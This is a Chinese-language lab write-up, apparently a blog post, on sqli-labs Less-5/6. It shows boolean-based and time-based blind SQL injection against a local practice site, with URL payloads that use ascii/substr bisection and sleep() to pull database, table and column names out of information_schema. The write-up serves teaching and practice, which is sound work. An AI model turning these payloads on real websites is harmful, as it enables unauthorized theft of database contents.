sqli-labs | Less-5/6 基于布尔型和基于时间和盲注

本文深入探讨了sqli-labs中Less-5/6的布尔型和时间盲注攻击。通过猜表名、字段名,利用返回的"You are in"标志进行布尔型盲注,借助sleep函数进行时间盲注,逐步揭示数据库信息。

sqli-labs | Less-5/6 基于布尔型和基于时间盲注

基于布尔型的盲注

Less5、Less6的返回值一样,都是不返回具体数据,只有返回“You are in”表示返回结果为真 如果没有这串字返回结果为假。

这样的题型就想在你面前的是一个机器人,它只会回答你是或者不是,你可以问:数据库的第一个字符是不是‘a’啊? 这样类似的问题 来得到你想要的信息。

在这里插入图片描述
在这里插入图片描述
在url ID中输入双引号能发现出现报错 (和Less输入单引号报错一样)
在这里插入图片描述
随后尝试注入点逻辑

http://127.0.0.1/sqli-labs-master/Less-6/?id=1" and 1=1 -- 

返回“You are in…”

http://127.0.0.1/sqli-labs-master/Less-6/?id=1" and 1=2 -- 

返回空

基于布尔型的注入常用函数

函数用法
left()left(a,b)表示从a左侧截取b位 正确返回1 反之返回0
regexpselect user() regexp’r’ 从左向右匹配 全部正确返回1 反之返回0
likeselect user() like’ro%’ 与regexp 一样
substrselect (a,b,c) 从位置b开始,截取a字符串c位长度
ascii()转化为asiii码
limit x,y从sql查询结果中第x开始返回y条结果

然后基于它返回的布尔值 我们依次猜测得到我们需要的东西
譬如

http://127.0.0.1/sqli-labs-master/Less-6/?id=1" and ascii(substr((select  schema_name from information_schema.schemata limit 1,1),1,1)) >150  -- 

猜测数据库第一个字母的ascii码值是否大于150,若返回假
猜测>90,返回真
猜测>100,返回假
猜测>95 返回真
… …
就这样通过二分形式一点点缩小范围 最后得到结果 =99;
说明数据库第一个字母为c
就这样手工注入猜测

猜测表名
ascii(substr((select  group_concat(table_name) from information_schema.tables where table_schema='security'),1,1))>117 -- 
猜测字段名
ascii(substr((select column_name from information_schema.columns where table_name='user' limit 1,1),1,1))>117 -- 

最后得到我们想要的信息如user,password

基于时间的盲注

函数说明
sleep(second)休眠second秒数
benchmark(times,expr1)将expr1执行times次(性能测试用)
benchmark(times,expr1)将expr1执行times次(性能测试用)
if(expr,true,false)expr结果为真返回true位置,反之
http://127.0.0.1/sqli-labs-master/Less-6/?id=1" and sleep(3) -- 

在and后面添加sleep函数,发现网页大致停顿三秒后返回空,这是因为sleep(3)执行后默认返回0,1和0 and运算后返回值为0即false。

可以通过改变if()中true false 字段为系统休眠时间,以此来判断我们执行的语句的正确与否

例如Less 6

http://127.0.0.1/sqli-labs-master/Less-6/?id=1" and if((ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='security'),1,1))>150),sleep(5),sleep(0))  --  

如果这个数据库中表的第一个字符的ascii码大于150 网页会大致休眠五秒,否则直接响应结果。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值